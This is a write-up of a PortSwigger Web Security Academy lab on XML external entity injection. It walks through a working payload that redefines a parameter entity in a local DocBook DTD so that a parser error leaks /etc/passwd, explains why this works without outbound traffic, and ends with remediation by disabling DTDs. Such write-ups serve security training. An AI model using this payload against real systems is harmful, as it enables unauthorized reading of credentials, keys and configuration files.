PlatformPortSwigger Web Security Academy
TopicXML external entity (XXE) injection
LabExploiting XXE to retrieve data by repurposing a local DTD
DifficultyPractitioner
GoalRead /etc/passwd from a parser error message, no external DTD
ToolsBurp Suite (Proxy + Repeater)

No exploit server, no problem#

The error-messages lab leaked a file through a parser error, but it needed an external DTD hosted on an exploit server, because XML won’t let you redefine a parameter entity inside another markup declaration in a request’s internal DTD. What if there’s no way to host that external DTD (outbound blocked, no exploit server)?

There’s a clever offline answer: reuse a DTD that already exists on the server. Many Linux boxes ship DTD files with common packages. If we load one and then redefine one of the parameter entities it uses internally, our version runs when the local DTD references it, and the restriction on redefining entities doesn’t apply the same way once we’re pulling in an external (here, local) DTD.

On this box we use GNOME’s DocBook DTD at /usr/share/yelp/dtd/docbookx.dtd, which internally references a parameter entity named ISOamso, exactly the kind of entity we can hijack.

Exploitation: hijack a local DTD entity#

Send the stock-check with this inline DTD:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

Reading it from the inside out:

  • <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> points a parameter entity at the DTD file already on the server.
  • <!ENTITY % ISOamso '...'> redefines ISOamso, a parameter entity the local DTD uses internally. Because we define it before loading the DTD, our version wins when the DTD references it.
  • Inside that redefinition is the same error-based chain as before: %file reads /etc/passwd, %eval builds an error entity that points at a non-existent path with the file spliced in, and invoking them forces a “file not found” error that prints the contents.
  • %local_dtd; loads the DocBook DTD, which triggers our hijacked ISOamso, and the chain fires.

The nested escaping is what makes this readable to the parser at each layer: &#x25; is %, &#x26;#x25; is &#x25; (a % that only appears one level deeper), and &#x27; is a single quote '.

Send it. The response is a 400 Bad Request, and the error leaks the file:

Burp Repeater with the local-DTD payload and the response error leaking /etc/passwd
The error: ‘XML parser exited with error: java.io.FileNotFoundException: /nonexistent/root:x:0:0:…’ — /etc/passwd is in the error, using only a DTD already on the box. Lab solved.

No exploit server was involved, we only reused a file that was already there.

Real-world impact#

This technique removes the last excuse that “XXE is fine here because we block outbound traffic”:

  • Fully offline file-read — no callback, no hosted DTD; a DTD file on disk plus verbose errors is enough.
  • Hard to spot — there’s nothing anomalous leaving the network, which makes it stealthier than an OOB callback.
  • Reads any readable file — /etc/passwd here, but the same chain reaches config, credentials, and keys.

Finding a usable local DTD is the only extra step; common ones ship with GNOME, package managers, and many default installs. Only ever against systems you are authorized to test.

Remediation#

  • Disable DTDs entirely in the parser. This is decisive: with document-type declarations rejected, neither the inline DTD nor the local one loads.
  • Don’t return raw parser errors to users, so even a partial failure can’t leak file contents.

A concrete example, parser-specific (here Java’s DocumentBuilderFactory):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disallow DTDs entirely — local or external, inline or not
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);

Key takeaways#

  • When you can’t host an external DTD, reuse one already on the server and redefine a parameter entity it references to run your own chain.
  • The payload nests the error-based %file / %eval / %error trick inside the redefined entity, with layered &#x25; / &#x27; escaping so each level parses.
  • Blocking outbound traffic does not fix XXE; disabling DTDs does.